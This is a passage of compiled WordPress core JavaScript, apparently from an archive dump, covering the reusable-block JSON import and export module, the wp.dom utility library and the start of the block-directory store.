(r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const tslib_es6 = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); ;// ./node_modules/lower-case/dist.es2015/index.js /** * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt */ var SUPPORTED_LOCALE = { tr: { regexp: /\u0130|\u0049|\u0049\u0307/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, az: { regexp: /\u0130/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, lt: { regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g, map: { I: "\u0069\u0307", J: "\u006A\u0307", Į: "\u012F\u0307", Ì: "\u0069\u0307\u0300", Í: "\u0069\u0307\u0301", Ĩ: "\u0069\u0307\u0303", }, }, }; /** * Localized lower case. */ function localeLowerCase(str, locale) { var lang = SUPPORTED_LOCALE[locale.toLowerCase()]; if (lang) return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; })); return lowerCase(str); } /** * Lower case as a function. */ function lowerCase(str) { return str.toLowerCase(); } ;// ./node_modules/no-case/dist.es2015/index.js // Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case"). var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g]; // Remove all non-word characters. var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi; /** * Normalize the string into something other libraries can manipulate easier. */ function noCase(input, options) { if (options === void 0) { options = {}; } var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d; var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0"); var start = 0; var end = result.length; // Trim the delimiter from around the output string. while (result.charAt(start) === "\0") start++; while (result.charAt(end - 1) === "\0") end--; // Transform each token independently. return result.slice(start, end).split("\0").map(transform).join(delimiter); } /** * Replace `re` in the input string with the replacement value. */ function replace(input, re, value) { if (re instanceof RegExp) return input.replace(re, value); return re.reduce(function (input, re) { return input.replace(re, value); }, input); } ;// ./node_modules/dot-case/dist.es2015/index.js function dotCase(input, options) { if (options === void 0) { options = {}; } return noCase(input, __assign({ delimiter: "." }, options)); } ;// ./node_modules/param-case/dist.es2015/index.js function paramCase(input, options) { if (options === void 0) { options = {}; } return dotCase(input, __assign({ delimiter: "-" }, options)); } ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// external ["wp","blob"] const external_wp_blob_namespaceObject = window["wp"]["blob"]; ;// ./node_modules/@wordpress/list-reusable-blocks/build-module/utils/export.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** * Export a reusable block as a JSON file. * * @param {number} id */ async function exportReusableBlock(id) { const postType = await external_wp_apiFetch_default()({ path: `/wp/v2/types/wp_block` }); const post = await external_wp_apiFetch_default()({ path: `/wp/v2/${postType.rest_base}/${id}?context=edit` }); const title = post.title.raw; const content = post.content.raw; const syncStatus = post.wp_pattern_sync_status; const fileContent = JSON.stringify({ __file: 'wp_block', title, content, syncStatus }, null, 2); const fileName = paramCase(title) + '.json'; (0,external_wp_blob_namespaceObject.downloadBlob)(fileName, fileContent, 'application/json'); } /* harmony default export */ const utils_export = (exportReusableBlock); ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// ./node_modules/@wordpress/list-reusable-blocks/build-module/utils/file.js /** * Reads the textual content of the given file. * * @param {File} file File. * @return {Promise<string>} Content of the file. */ function readTextFile(file) { const reader = new window.FileReader(); return new Promise(resolve => { reader.onload = () => { resolve(reader.result); }; reader.readAsText(file); }); } ;// ./node_modules/@wordpress/list-reusable-blocks/build-module/utils/import.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Import a reusable block from a JSON file. * * @param {File} file File. * @return {Promise} Promise returning the imported reusable block. */ async function importReusableBlock(file) { const fileContent = await readTextFile(file); let parsedContent; try { parsedContent = JSON.parse(fileContent); } catch (e) { throw new Error('Invalid JSON file'); } if (parsedContent.__file !== 'wp_block' || !parsedContent.title || !parsedContent.content || typeof parsedContent.title !== 'string' || typeof parsedContent.content !== 'string' || parsedContent.syncStatus && typeof parsedContent.syncStatus !== 'string') { throw new Error('Invalid pattern JSON file'); } const postType = await external_wp_apiFetch_default()({ path: `/wp/v2/types/wp_block` }); const reusableBlock = await external_wp_apiFetch_default()({ path: `/wp/v2/${postType.rest_base}`, data: { title: parsedContent.title, content: parsedContent.content, status: 'publish', meta: parsedContent.syncStatus === 'unsynced' ? { wp_pattern_sync_status: parsedContent.syncStatus } : undefined }, method: 'POST' }); return reusableBlock; } /* harmony default export */ const utils_import = (importReusableBlock); ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/list-reusable-blocks/build-module/components/import-form/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function ImportForm({ instanceId, onUpload }) { const inputId = 'list-reusable-blocks-import-form-' + instanceId; const formRef = (0,external_wp_element_namespaceObject.useRef)(); const [isLoading, setIsLoading] = (0,external_wp_element_namespaceObject.useState)(false); const [error, setError] = (0,external_wp_element_namespaceObject.useState)(null); const [file, setFile] = (0,external_wp_element_namespaceObject.useState)(null); const onChangeFile = event => { setFile(event.target.files[0]); setError(null); }; const onSubmit = event => { event.preventDefault(); if (!file) { return; } setIsLoading({ isLoading: true }); utils_import(file).then(reusableBlock => { if (!formRef) { return; } setIsLoading(false); onUpload(reusableBlock); }).catch(errors => { if (!formRef) { return; } let uiMessage; switch (errors.message) { case 'Invalid JSON file': uiMessage = (0,external_wp_i18n_namespaceObject.__)('Invalid JSON file'); break; case 'Invalid pattern JSON file': uiMessage = (0,external_wp_i18n_namespaceObject.__)('Invalid pattern JSON file'); break; default: uiMessage = (0,external_wp_i18n_namespaceObject.__)('Unknown error'); } setIsLoading(false); setError(uiMessage); }); }; const onDismissError = () => { setError(null); }; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("form", { className: "list-reusable-blocks-import-form", onSubmit: onSubmit, ref: formRef, children: [error && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "error", onRemove: () => onDismissError(), children: error }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("label", { htmlFor: inputId, className: "list-reusable-blocks-import-form__label", children: (0,external_wp_i18n_namespaceObject.__)('File') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("input", { id: inputId, type: "file", onChange: onChangeFile }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, type: "submit", isBusy: isLoading, accessibleWhenDisabled: true, disabled: !file || isLoading, variant: "secondary", className: "list-reusable-blocks-import-form__button", children: (0,external_wp_i18n_namespaceObject._x)('Import', 'button label') })] }); } /* harmony default export */ const import_form = ((0,external_wp_compose_namespaceObject.withInstanceId)(ImportForm)); ;// ./node_modules/@wordpress/list-reusable-blocks/build-module/components/import-dropdown/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function ImportDropdown({ onUpload }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, { popoverProps: { placement: 'bottom-start' }, contentClassName: "list-reusable-blocks-import-dropdown__content", renderToggle: ({ isOpen, onToggle }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { size: "compact", className: "list-reusable-blocks-import-dropdown__button", "aria-expanded": isOpen, onClick: onToggle, variant: "primary", children: (0,external_wp_i18n_namespaceObject.__)('Import from JSON') }), renderContent: ({ onClose }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(import_form, { onUpload: (0,external_wp_compose_namespaceObject.pipe)(onClose, onUpload) }) }); } /* harmony default export */ const import_dropdown = (ImportDropdown); ;// ./node_modules/@wordpress/list-reusable-blocks/build-module/index.js /** * WordPress dependencies */ /** * Internal dependencies */ // Setup Export Links. document.body.addEventListener('click', event => { if (!event.target.classList.contains('wp-list-reusable-blocks__export')) { return; } event.preventDefault(); utils_export(event.target.dataset.id); }); // Setup Import Form. document.addEventListener('DOMContentLoaded', () => { const button = document.querySelector('.page-title-action'); if (!button) { return; } const showNotice = () => { const notice = document.createElement('div'); notice.className = 'notice notice-success is-dismissible'; notice.innerHTML = `<p>${(0,external_wp_i18n_namespaceObject.__)('Pattern imported successfully!')}</p>`; const headerEnd = document.querySelector('.wp-header-end'); if (!headerEnd) { return; } headerEnd.parentNode.insertBefore(notice, headerEnd); }; const container = document.createElement('div'); container.className = 'list-reusable-blocks__container'; button.parentNode.insertBefore(container, button); (0,external_wp_element_namespaceObject.createRoot)(container).render(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(import_dropdown, { onUpload: showNotice }) })); }); (window.wp = window.wp || {}).listReusableBlocks = __webpack_exports__; /******/ })() ; dom.min.js 0000644 00000030371 15004111010 0006426 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var t={n:e=>{var n=e&&e.__esModule?()=>e.default:()=>e;return t.d(n,{a:n}),n},d:(e,n)=>{for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};t.r(e),t.d(e,{__unstableStripHTML:()=>J,computeCaretRect:()=>b,documentHasSelection:()=>w,documentHasTextSelection:()=>N,documentHasUncollapsedSelection:()=>C,focus:()=>ct,getFilesFromDataTransfer:()=>st,getOffsetParent:()=>S,getPhrasingContentSchema:()=>et,getRectangleFromRange:()=>g,getScrollContainer:()=>v,insertAfter:()=>q,isEmpty:()=>K,isEntirelySelected:()=>A,isFormElement:()=>D,isHorizontalEdge:()=>H,isNumberInput:()=>V,isPhrasingContent:()=>nt,isRTL:()=>P,isSelectionForward:()=>L,isTextContent:()=>rt,isTextField:()=>E,isVerticalEdge:()=>B,placeCaretAtHorizontalEdge:()=>U,placeCaretAtVerticalEdge:()=>z,remove:()=>W,removeInvalidHTML:()=>at,replace:()=>k,replaceTag:()=>G,safeHTML:()=>$,unwrap:()=>X,wrap:()=>Y});var n={};t.r(n),t.d(n,{find:()=>i});var r={};function o(t){return t.offsetWidth>0||t.offsetHeight>0||t.getClientRects().length>0}function i(t,{sequential:e=!1}={}){const n=t.querySelectorAll(function(t){return[t?'[tabindex]:not([tabindex^="-"])':"[tabindex]","a[href]","button:not([disabled])",'input:not([type="hidden"]):not([disabled])',"select:not([disabled])","textarea:not([disabled])",'iframe:not([tabindex^="-"])',"object","embed","area[href]","[contenteditable]:not([contenteditable=false])"].join(",")}(e));return Array.from(n).filter((t=>{if(!o(t))return!1;const{nodeName:e}=t;return"AREA"!==e||function(t){const e=t.closest("map[name]");if(!e)return!1;const n=t.ownerDocument.querySelector('img[usemap="#'+e.name+'"]');return!!n&&o(n)}(t)}))}function a(t){const e=t.getAttribute("tabindex");return null===e?0:parseInt(e,10)}function s(t){return-1!==a(t)}function c(t,e){return{element:t,index:e}}function u(t){return t.element}function l(t,e){const n=a(t.element),r=a(e.element);return n===r?t.index-e.index:n-r}function d(t){return t.filter(s).map(c).sort(l).map(u).reduce(function(){const t={};return function(e,n){const{nodeName:r,type:o,checked:i,name:a}=n;if("INPUT"!==r||"radio"!==o||!a)return e.concat(n);const s=t.hasOwnProperty(a);if(!i&&s)return e;if(s){const n=t[a];e=e.filter((t=>t!==n))}return t[a]=n,e.concat(n)}}(),[])}function f(t){return d(i(t))}function m(t){return d(i(t.ownerDocument.body)).reverse().find((e=>t.compareDocumentPosition(e)&t.DOCUMENT_POSITION_PRECEDING))}function h(t){return d(i(t.ownerDocument.body)).find((e=>t.compareDocumentPosition(e)&t.DOCUMENT_POSITION_FOLLOWING))}function p(t,e){0}function g(t){if(!t.collapsed){const e=Array.from(t.getClientRects());if(1===e.length)return e[0];const n=e.filter((({width:t})=>t>1));if(0===n.length)return t.getBoundingClientRect();if(1===n.length)return n[0];let{top:r,bottom:o,left:i,right:a}=n[0];for(const{top:t,bottom:e,left:s,right:c}of n)t<r&&(r=t),e>o&&(o=e),s<i&&(i=s),c>a&&(a=c);return new window.DOMRect(i,r,a-i,o-r)}const{startContainer:e}=t,{ownerDocument:n}=e;if("BR"===e.nodeName){const{parentNode:r}=e;p();const o=Array.from(r.childNodes).indexOf(e);p(),(t=n.createRange()).setStart(r,o),t.setEnd(r,o)}const r=t.getClientRects();if(r.length>1)return null;let o=r[0];if(!o||0===o.height){p();const e=n.createTextNode("");(t=t.cloneRange()).insertNode(e),o=t.getClientRects()[0],p(e.parentNode),e.parentNode.removeChild(e)}return o}function b(t){const e=t.getSelection();p();const n=e.rangeCount?e.getRangeAt(0):null;return n?g(n):null}function N(t){p(t.defaultView);const e=t.defaultView.getSelection();p();const n=e.rangeCount?e.getRangeAt(0):null;return!!n&&!n.collapsed}function y(t){return"INPUT"===t?.nodeName}function E(t){return y(t)&&t.type&&!["button","checkbox","hidden","file","radio","image","range","reset","submit","number","email","time"].includes(t.type)||"TEXTAREA"===t.nodeName||"true"===t.contentEditable}function C(t){return N(t)||!!t.activeElement&&function(t){if(!y(t)&&!E(t))return!1;try{const{selectionStart:e,selectionEnd:n}=t;return null===e||e!==n}catch(t){return!0}}(t.activeElement)}function w(t){return!!t.activeElement&&(y(t.activeElement)||E(t.activeElement)||N(t))}function T(t){return p(t.ownerDocument.defaultView),t.ownerDocument.defaultView.getComputedStyle(t)}function v(t,e="vertical"){if(t){if(("vertical"===e||"all"===e)&&t.scrollHeight>t.clientHeight){const{overflowY:e}=T(t);if(/(auto|scroll)/.test(e))return t}if(("horizontal"===e||"all"===e)&&t.scrollWidth>t.clientWidth){const{overflowX:e}=T(t);if(/(auto|scroll)/.test(e))return t}return t.ownerDocument===t.parentNode?t:v(t.parentNode,e)}}function S(t){let e;for(;(e=t.parentNode)&&e.nodeType!==e.ELEMENT_NODE;);return e?"static"!==T(e).position?e:e.offsetParent:null}function O(t){return"INPUT"===t.tagName||"TEXTAREA"===t.tagName}function A(t){if(O(t))return 0===t.selectionStart&&t.value.length===t.selectionEnd;if(!t.isContentEditable)return!0;const{ownerDocument:e}=t,{defaultView:n}=e;p();const r=n.getSelection();p();const o=r.rangeCount?r.getRangeAt(0):null;if(!o)return!0;const{startContainer:i,endContainer:a,startOffset:s,endOffset:c}=o;if(i===t&&a===t&&0===s&&c===t.childNodes.length)return!0;t.lastChild;p();const u=a.nodeType===a.TEXT_NODE?a.data.length:a.childNodes.length;return R(i,t,"firstChild")&&R(a,t,"lastChild")&&0===s&&c===u}function R(t,e,n){let r=e;do{if(t===r)return!0;r=r[n]}while(r);return!1}function D(t){if(!t)return!1;const{tagName:e}=t;return O(t)||"BUTTON"===e||"SELECT"===e}function P(t){return"rtl"===T(t).direction}function L(t){const{anchorNode:e,focusNode:n,anchorOffset:r,focusOffset:o}=t;p(),p();const i=e.compareDocumentPosition(n);return!(i&e.DOCUMENT_POSITION_PRECEDING)&&(!!(i&e.DOCUMENT_POSITION_FOLLOWING)||(0!==i||r<=o))}function M(t,e,n,r){const o=r.style.zIndex,i=r.style.position,{position:a="static"}=T(r);"static"===a&&(r.style.position="relative"),r.style.zIndex="10000";const s=function(t,e,n){if(t.caretRangeFromPoint)return t.caretRangeFromPoint(e,n);if(!t.caretPositionFromPoint)return null;const r=t.caretPositionFromPoint(e,n);if(!r)return null;const o=t.createRange();return o.setStart(r.offsetNode,r.offset),o.collapse(!0),o}(t,e,n);return r.style.zIndex=o,r.style.position=i,s}function x(t,e,n){let r=n();return r&&r.startContainer&&t.contains(r.startContainer)||(t.scrollIntoView(e),r=n(),r&&r.startContainer&&t.contains(r.startContainer))?r:null}function I(t,e,n=!1){if(O(t)&&"number"==typeof t.selectionStart)return t.selectionStart===t.selectionEnd&&(e?0===t.selectionStart:t.value.length===t.selectionStart);if(!t.isContentEditable)return!0;const{ownerDocument:r}=t,{defaultView:o}=r;p();const i=o.getSelection();if(!i||!i.rangeCount)return!1;const a=i.getRangeAt(0),s=a.cloneRange(),c=L(i),u=i.isCollapsed;u||s.collapse(!c);const l=g(s),d=g(a);if(!l||!d)return!1;const f=function(t){const e=Array.from(t.getClientRects());if(!e.length)return;const n=Math.min(...e.map((({top:t})=>t)));return Math.max(...e.map((({bottom:t})=>t)))-n}(a);if(!u&&f&&f>l.height&&c===e)return!1;const m=P(t)?!e:e,h=t.getBoundingClientRect(),b=m?h.left+1:h.right-1,N=e?h.top+1:h.bottom-1,y=x(t,e,(()=>M(r,b,N,t)));if(!y)return!1;const E=g(y);if(!E)return!1;const C=e?"top":"bottom",w=m?"left":"right",T=E[C]-d[C],v=E[w]-l[w],S=Math.abs(T)<=1,A=Math.abs(v)<=1;return n?S:S&&A}function H(t,e){return I(t,e)}t.r(r),t.d(r,{find:()=>f,findNext:()=>h,findPrevious:()=>m,isTabbableIndex:()=>s});const _=window.wp.deprecated;var F=t.n(_);function V(t){return F()("wp.dom.isNumberInput",{since:"6.1",version:"6.5"}),y(t)&&"number"===t.type&&!isNaN(t.valueAsNumber)}function B(t,e){return I(t,e,!0)}function j(t,e,n){if(!t)return;if(t.focus(),O(t)){if("number"!=typeof t.selectionStart)return;return void(e?(t.selectionStart=t.value.length,t.selectionEnd=t.value.length):(t.selectionStart=0,t.selectionEnd=0))}if(!t.isContentEditable)return;const r=x(t,e,(()=>function(t,e,n){const{ownerDocument:r}=t,o=P(t)?!e:e,i=t.getBoundingClientRect();return void 0===n?n=e?i.right-1:i.left+1:n<=i.left?n=i.left+1:n>=i.right&&(n=i.right-1),M(r,n,o?i.bottom-1:i.top+1,t)}(t,e,n)));if(!r)return;const{ownerDocument:o}=t,{defaultView:i}=o;p();const a=i.getSelection();p(),a.removeAllRanges(),a.addRange(r)}function U(t,e){return j(t,e,void 0)}function z(t,e,n){return j(t,e,n?.left)}function q(t,e){p(e.parentNode),e.parentNode.insertBefore(t,e.nextSibling)}function W(t){p(t.parentNode),t.parentNode.removeChild(t)}function k(t,e){p(t.parentNode),q(e,t.parentNode),W(t)}function X(t){const e=t.parentNode;for(p();t.firstChild;)e.insertBefore(t.firstChild,t);e.removeChild(t)}function G(t,e){const n=t.ownerDocument.createElement(e);for(;t.firstChild;)n.appendChild(t.firstChild);return p(t.parentNode),t.parentNode.replaceChild(n,t),n}function Y(t,e){p(e.parentNode),e.parentNode.insertBefore(t,e),t.appendChild(e)}function $(t){const{body:e}=document.implementation.createHTMLDocument("");e.innerHTML=t;const n=e.getElementsByTagName("*");let r=n.length;for(;r--;){const t=n[r];if("SCRIPT"===t.tagName)W(t);else{let e=t.attributes.length;for(;e--;){const{name:n}=t.attributes[e];n.startsWith("on")&&t.removeAttribute(n)}}}return e.innerHTML}function J(t){t=$(t);const e=document.implementation.createHTMLDocument("");return e.body.innerHTML=t,e.body.textContent||""}function K(t){switch(t.nodeType){case t.TEXT_NODE:return/^[ \f\n\r\t\v\u00a0]*$/.test(t.nodeValue||"");case t.ELEMENT_NODE:return!t.hasAttributes()&&(!t.hasChildNodes()||Array.from(t.childNodes).every(K));default:return!0}}const Q={strong:{},em:{},s:{},del:{},ins:{},a:{attributes:["href","target","rel","id"]},code:{},abbr:{attributes:["title"]},sub:{},sup:{},br:{},small:{},q:{attributes:["cite"]},dfn:{attributes:["title"]},data:{attributes:["value"]},time:{attributes:["datetime"]},var:{},samp:{},kbd:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{attributes:["dir"]},bdo:{attributes:["dir"]},wbr:{},"#text":{}},Z=["#text","br"];Object.keys(Q).filter((t=>!Z.includes(t))).forEach((t=>{const{[t]:e,...n}=Q;Q[t].children=n}));const tt={...Q,audio:{attributes:["src","preload","autoplay","mediagroup","loop","muted"]},canvas:{attributes:["width","height"]},embed:{attributes:["src","type","width","height"]},img:{attributes:["alt","src","srcset","usemap","ismap","width","height"]},object:{attributes:["data","type","name","usemap","form","width","height"]},video:{attributes:["src","poster","preload","playsinline","autoplay","mediagroup","loop","muted","controls","width","height"]}};function et(t){if("paste"!==t)return tt;const{u:e,abbr:n,data:r,time:o,wbr:i,bdi:a,bdo:s,...c}={...tt,ins:{children:tt.ins.children},del:{children:tt.del.children}};return c}function nt(t){const e=t.nodeName.toLowerCase();return et().hasOwnProperty(e)||"span"===e}function rt(t){const e=t.nodeName.toLowerCase();return Q.hasOwnProperty(e)||"span"===e}const ot=()=>{};function it(t,e,n,r){Array.from(t).forEach((t=>{const o=t.nodeName.toLowerCase();if(!n.hasOwnProperty(o)||n[o].isMatch&&!n[o].isMatch?.(t))it(t.childNodes,e,n,r),r&&!nt(t)&&t.nextElementSibling&&q(e.createElement("br"),t),X(t);else if(function(t){return!!t&&t.nodeType===t.ELEMENT_NODE}(t)){const{attributes:i=[],classes:a=[],children:s,require:c=[],allowEmpty:u}=n[o];if(s&&!u&&K(t))return void W(t);if(t.hasAttributes()&&(Array.from(t.attributes).forEach((({name:e})=>{"class"===e||i.includes(e)||t.removeAttribute(e)})),t.classList&&t.classList.length)){const e=a.map((t=>"*"===t?()=>!0:"string"==typeof t?e=>e===t:t instanceof RegExp?e=>t.test(e):ot));Array.from(t.classList).forEach((n=>{e.some((t=>t(n)))||t.classList.remove(n)})),t.classList.length||t.removeAttribute("class")}if(t.hasChildNodes()){if("*"===s)return;if(s)c.length&&!t.querySelector(c.join(","))?(it(t.childNodes,e,n,r),X(t)):t.parentNode&&"BODY"===t.parentNode.nodeName&&nt(t)?(it(t.childNodes,e,n,r),Array.from(t.childNodes).some((t=>!nt(t)))&&X(t)):it(t.childNodes,e,s,r);else for(;t.firstChild;)W(t.firstChild)}}}))}function at(t,e,n){const r=document.implementation.createHTMLDocument("");return r.body.innerHTML=t,it(r.body.childNodes,r,e,n),r.body.innerHTML}function st(t){const e=Array.from(t.files);return Array.from(t.items).forEach((t=>{const n=t.getAsFile();n&&!e.find((({name:t,type:e,size:r})=>t===n.name&&e===n.type&&r===n.size))&&e.push(n)})),e}const ct={focusable:n,tabbable:r};(window.wp=window.wp||{}).dom=e})(); block-directory.js 0000644 00000235216 15004111010 0010166 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { store: () => (/* reexport */ store) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { getDownloadableBlocks: () => (getDownloadableBlocks), getErrorNoticeForBlock: () => (getErrorNoticeForBlock), getErrorNotices: () => (getErrorNotices), getInstalledBlockTypes: () => (getInstalledBlockTypes), getNewBlockTypes: () => (getNewBlockTypes), getUnusedBlockTypes: () => (getUnusedBlockTypes), isInstalling: () => (isInstalling), isRequestingDownloadableBlocks: () => (isRequestingDownloadableBlocks) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { addInstalledBlockType: () => (addInstalledBlockType), clearErrorNotice: () => (clearErrorNotice), fetchDownloadableBlocks: () => (fetchDownloadableBlocks), installBlockType: () => (installBlockType), receiveDownloadableBlocks: () => (receiveDownloadableBlocks), removeInstalledBlockType: () => (removeInstalledBlockType), setErrorNotice: () => (setErrorNotice), setIsInstalling: () => (setIsInstalling), uninstallBlockType: () => (uninstallBlockType) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/resolvers.js var resolvers_namespaceObject = {}; __webpack_require__.r(resolvers_namespaceObject); __webpack_require__.d(resolvers_namespaceObject, { getDownloadableBlocks: () => (resolvers_getDownloadableBlocks) }); ;// external ["wp","plugins"] const external_wp_plugins_namespaceObject = window["wp"]["plugins"]; ;// external ["wp","hooks"] const external_wp_hooks_namespaceObject = window["wp"]["hooks"]; ;// external ["wp","blocks"] const external_wp_blocks_namespaceObject = window["wp"]["blocks"]; ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","editor"] const external_wp_editor_namespaceObject = window["wp"]["editor"]; ;// ./node_modules/@wordpress/block-directory/build-module/store/reducer.js /** * WordPress dependencies */ /** * Reducer returning an array of downloadable blocks. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ const downloadableBlocks = (state = {}, action) => { switch (action.type) { case 'FETCH_DOWNLOADABLE_BLOCKS': return { ...state, [action.filterValue]: { isRequesting: true } }; case 'RECEIVE_DOWNLOADABLE_BLOCKS': return { ...state, [action.filterValue]: { results: action.downloadableBlocks, isRequesting: false } }; } return state; }; /** * Reducer managing the installation and deletion of blocks. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ const blockManagement = (state = { installedBlockTypes: [], isInstalling: {} }, action) => { switch (action.type) { case 'ADD_INSTALLED_BLOCK_TYPE': return { ...state, installedBlockTypes: [...state.installedBlockTypes, action.item] }; case 'REMOVE_INSTALLED_BLOCK_TYPE': return { ...state, installedBlockTypes: state.installedBlockTypes.filter(blockType => blockType.name !== action.item.name) }; case 'SET_INSTALLING_BLOCK': return { ...state, isInstalling: { ...state.isInstalling, [action.blockId]: action.isInstalling } }; } return state; }; /** * Reducer returning an object of error notices. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ const errorNotices = (state = {}, action) => { switch (action.type) { case 'SET_ERROR_NOTICE': return { ...state, [action.blockId]: { message: action.message, isFatal: action.isFatal } }; case 'CLEAR_ERROR_NOTICE': const { [action.blockId]: blockId, ...restState } = state; return restState; } return state; }; /* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ downloadableBlocks, blockManagement, errorNotices })); ;// external ["wp","blockEditor"] const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"]; ;// ./node_modules/@wordpress/block-directory/build-module/store/selectors.js /** * WordPress dependencies */ const EMPTY_ARRAY = []; /** * Returns true if application is requesting for downloadable blocks. * * @param {Object} state Global application state. * @param {string} filterValue Search string. * * @return {boolean} Whether a request is in progress for the blocks list. */ function isRequestingDownloadableBlocks(state, filterValue) { var _state$downloadableBl; return (_state$downloadableBl = state.downloadableBlocks[filterValue]?.isRequesting) !== null && _state$downloadableBl !== void 0 ? 